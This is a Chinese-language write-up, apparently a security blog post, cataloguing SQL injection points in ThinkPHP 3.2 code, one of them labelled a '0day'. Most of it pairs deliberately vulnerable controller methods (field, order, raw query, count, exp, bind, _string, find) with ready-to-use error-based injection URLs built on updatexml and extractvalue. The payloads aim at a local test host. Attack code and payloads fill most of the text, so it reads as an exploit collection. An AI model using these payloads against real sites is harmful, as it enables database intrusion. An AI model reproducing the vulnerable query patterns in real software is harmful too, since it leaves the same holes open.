开发失误情况下的产生的SQL注入
1.field注入
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function fieldsql(){
$table_name = I('GET.id') ? I('GET.id') : 1;
$test = M('users')->field($table_name)->select();
var_dump($test);
}
}
payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20from%20users%20where%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))%20--%20a
这里有个局限性就是需要知道字段的名字才能进行注入 这次我字段的名字是username
所以大家进行注入的时候可以搭配日志进行注入 在日志里面有相关的表和字段提供给我们进行注入~
剩下的
order注入 跟上面的操作一样
payload: http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a
comment注入 这里的注入我们需要先闭合前面的/*然后再进行注入再闭合后面的*/
payload : http://127.0.0.1/index.php/Home/Index/fieldsql?id=*/where%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a/*
group注入 注入的话 我们需要先用逗号进行分割 然后相同的操作进行注入
payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a
having注入
payload:http://127.0.0.1/index.php/Home/Index/fieldsql?id=username%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a
使用原生还不过滤的情况 query注入
public function querysql(){
$id = I('GET.id') ? I('GET.id') : 1;
$test = M()->query('select * from users where id = ' . $id);
var_dump($test);
}
这个肯定都知道 M方法直接继承父类的操作 用query进行原生查询 拼接字符串 直接game over
payload:http://127.0.0.1/index.php/Home/Index/querysql?id=123%20and%20(extractvalue%20(1,concat(0x7e,(SELECT%20USER()),%200x7e)))--%20a
query和execute类似 都一样
统计查询外部可控制时造成的注入( Count,Max,Min,Avg,Sum )
public function info(){
$test = I('test') ? I('test') : 1;
M('users') -> count($test);
}
payload:http://127.0.0.1/index.php/Home/Index/info?test=1)%20from%20users%20where%20updatexml(1,concat(0x7e,(select%20user())),0)%20--%20a
其他的其实都差不多 只要开启了调试我们都可以根据其中的代码进行注入
即使使用了I函数也是不讲道理直接日穿型
实例代码
public function zxczxczxc(){
$map['id'] = I('GET.id') ? I('GET.id') : 1;
$data['username'] = 1;
$c = M('users')->where($map)->save($data);
var_dump($c);
}
payload:http://127.0.0.1/index.php/Home/Index/zxczxczxc?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(select%20user())),0)
setField注入 跟上面差不多 就是用的是setField方法
payload:http://127.0.0.1/index.php/Home/Index/zxczxczxc?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(select%20user())),0)
基本上使用了 exp的注入
实例代码:
public function test2(){
$id = I('get.id');
$map['id'] = array('exp',$id);
$data = M('users')->where($map)->select();
var_dump($data);
}
payload:http://127.0.0.1/index.php/Home/Index/test2?id=%3D1%20and%20updatexml(1,concat(0x7e,(select%20user())),0)
实例代码
public function test5(){
$map['id'] = $_GET['id'];
$data = M('users')->where($map)->select();
var_dump($data);
}
payload:http://127.0.0.1/index.php/Home/Index/test5?id[0]=exp&id[1]=%20In%20(2)%20and%20updatexml(1,concat(0x7e,(select%20user())),0)
使用组合查询时的注入方式1 _string注入
实例代码:
public function sqltetete(){
$map['id'] = 2;
$map['_string'] = I('get.test');
M('users')->where($map)->select();
}
payload:http://127.0.0.1/index.php/Home/Index/sqltetete?test=updatexml(1,concat(0x7e,(select%20user())),0)
0day thinkphp3.2 find/select/delete注入
实例代码
public function asdasd(){
$data = M('users')->find(I('get.test'));
var_dump($data);
}
payload:http://127.0.0.1/index.php/Home/Index/asdasd?test[where]=updatexml(1,concat(0x7e,(select%20user())),0)